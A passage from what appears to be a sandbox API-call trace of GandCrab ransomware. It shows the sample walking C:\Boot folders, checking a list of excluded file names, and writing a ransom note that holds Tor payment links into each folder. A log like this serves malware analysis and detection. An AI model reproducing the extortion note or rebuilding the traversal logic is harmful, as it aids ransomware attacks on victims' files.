can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.860] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.861] CloseHandle (hObject=0x4e0) returned 1 [0052.861] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.862] lstrlenW (lpString="C:\\Boot\\qps-ploc\\") returned 17 [0052.862] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="*" | out: lpString1="C:\\Boot\\qps-ploc\\*") returned="C:\\Boot\\qps-ploc\\*" [0052.862] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588ee0 [0052.862] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.862] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.862] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.862] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.862] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.862] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.862] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.862] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned="C:\\Boot\\qps-ploc\\bootmgr.exe.mui" [0052.862] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.863] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0052.863] lstrlenW (lpString="C:\\Boot\\qps-ploc\\bootmgr.exe.mui") returned 32 [0052.863] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.863] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.863] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.863] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.863] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt" [0052.863] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.863] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0052.863] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0052.863] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0052.863] lstrlenW (lpString="C:\\Boot\\qps-ploc\\GDCB-DECRYPT.txt") returned 33 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.863] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.863] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.864] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.864] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.864] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.864] lstrcatW (in: lpString1="C:\\Boot\\qps-ploc\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned="C:\\Boot\\qps-ploc\\memtest.exe.mui" [0052.864] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.864] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0052.864] lstrlenW (lpString="C:\\Boot\\qps-ploc\\memtest.exe.mui") returned 32 [0052.864] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.864] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.864] FindClose (in: hFindFile=0x588ee0 | out: hFindFile=0x588ee0) returned 1 [0052.864] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.864] lstrcmpW (lpString1="Resources", lpString2=".") returned 1 [0052.864] lstrcmpW (lpString1="Resources", lpString2="..") returned 1 [0052.864] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="Resources" | out: lpString1="C:\\Boot\\Resources") returned="C:\\Boot\\Resources" [0052.864] lstrcatW (in: lpString1="C:\\Boot\\Resources", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\") returned="C:\\Boot\\Resources\\" [0052.864] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.865] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.865] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.865] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0052.865] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0052.865] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588720 [0052.866] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.866] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.866] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.866] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.866] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.866] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0052.866] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0052.866] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0052.866] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0052.866] lstrcmpW (lpString1=".dll", lpString2=".sql") returned -1 [0052.866] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.866] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0052.866] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0052.866] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0052.866] lstrlenW (lpString="C:\\Boot\\Resources\\en-US") returned 23 [0052.866] FindNextFileW (in: hFindFile=0x588720, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.866] FindClose (in: hFindFile=0x588720 | out: hFindFile=0x588720) returned 1 [0052.866] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.867] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt") returned 35 [0052.867] CreateFileW (lpFileName="C:\\Boot\\Resources\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.867] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.867] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.868] CloseHandle (hObject=0x4e0) returned 1 [0052.868] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.868] lstrlenW (lpString="C:\\Boot\\Resources\\") returned 18 [0052.868] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\*") returned="C:\\Boot\\Resources\\*" [0052.868] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.868] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.868] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.868] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.868] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.868] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.868] lstrcmpW (lpString1="bootres.dll", lpString2=".") returned 1 [0052.868] lstrcmpW (lpString1="bootres.dll", lpString2="..") returned 1 [0052.868] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="bootres.dll" | out: lpString1="C:\\Boot\\Resources\\bootres.dll") returned="C:\\Boot\\Resources\\bootres.dll" [0052.868] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.871] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\bootres.dll") returned 29 [0052.871] lstrlenW (lpString="C:\\Boot\\Resources\\bootres.dll") returned 29 [0052.871] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.871] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.871] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0052.871] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0052.871] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="en-US" | out: lpString1="C:\\Boot\\Resources\\en-US") returned="C:\\Boot\\Resources\\en-US" [0052.871] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\Resources\\en-US\\") returned="C:\\Boot\\Resources\\en-US\\" [0052.871] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.872] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.872] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.872] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0052.872] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0052.872] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0x588de0 [0052.872] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.872] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0052.872] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.872] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.872] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 1 [0052.872] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0052.872] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0052.872] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0052.872] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0052.873] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.873] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f2b8 | out: lpFindFileData=0x285f2b8) returned 0 [0052.873] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.873] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.873] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt") returned 41 [0052.873] CreateFileW (lpFileName="C:\\Boot\\Resources\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\resources\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0052.873] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.873] WriteFile (in: hFile=0x4e4, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f50c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f50c*=0xad6, lpOverlapped=0x0) returned 1 [0052.874] CloseHandle (hObject=0x4e4) returned 1 [0052.874] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.874] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\") returned 24 [0052.874] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\Resources\\en-US\\*") returned="C:\\Boot\\Resources\\en-US\\*" [0052.874] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0x588a60 [0052.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.874] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0052.874] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.874] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.874] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0052.874] lstrcmpW (lpString1="bootres.dll.mui", lpString2=".") returned 1 [0052.874] lstrcmpW (lpString1="bootres.dll.mui", lpString2="..") returned 1 [0052.874] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="bootres.dll.mui" | out: lpString1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned="C:\\Boot\\Resources\\en-US\\bootres.dll.mui" [0052.874] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.875] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0052.875] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\bootres.dll.mui") returned 39 [0052.875] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.875] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 1 [0052.875] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.875] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.875] lstrcatW (in: lpString1="C:\\Boot\\Resources\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt" [0052.875] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.876] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0052.876] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0052.876] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0052.876] lstrlenW (lpString="C:\\Boot\\Resources\\en-US\\GDCB-DECRYPT.txt") returned 40 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.876] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.876] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.876] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f528 | out: lpFindFileData=0x285f528) returned 0 [0052.876] FindClose (in: hFindFile=0x588a60 | out: hFindFile=0x588a60) returned 1 [0052.876] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.876] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.876] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.876] lstrcatW (in: lpString1="C:\\Boot\\Resources\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned="C:\\Boot\\Resources\\GDCB-DECRYPT.txt" [0052.876] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.877] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0052.877] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0052.877] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0052.877] lstrlenW (lpString="C:\\Boot\\Resources\\GDCB-DECRYPT.txt") returned 34 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.877] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.877] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.877] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.877] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.877] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.877] lstrcmpW (lpString1="ro-RO", lpString2=".") returned 1 [0052.877] lstrcmpW (lpString1="ro-RO", lpString2="..") returned 1 [0052.877] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ro-RO" | out: lpString1="C:\\Boot\\ro-RO") returned="C:\\Boot\\ro-RO" [0052.877] lstrcatW (in: lpString1="C:\\Boot\\ro-RO", lpString2="\\" | out: lpString1="C:\\Boot\\ro-RO\\") returned="C:\\Boot\\ro-RO\\" [0052.877] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.878] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.878] lstrlenW (lpString="C:\\Boot\\ro-RO\\") returned 14 [0052.878] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="*" | out: lpString1="C:\\Boot\\ro-RO\\*") returned="C:\\Boot\\ro-RO\\*" [0052.878] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.879] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.879] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.879] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.879] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.879] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.879] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.879] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.879] lstrcatW (in: lpString1="C:\\Boot\\ro-RO\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned="C:\\Boot\\ro-RO\\bootmgr.exe.mui" [0052.879] lstrlenW (lpString="C:\\Boot\\ro-RO\\bootmgr.exe.mui") returned 29 [0052.879] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.879] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.879] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.883] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.883] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ro-RO\\\\GDCB-DECRYPT.txt") 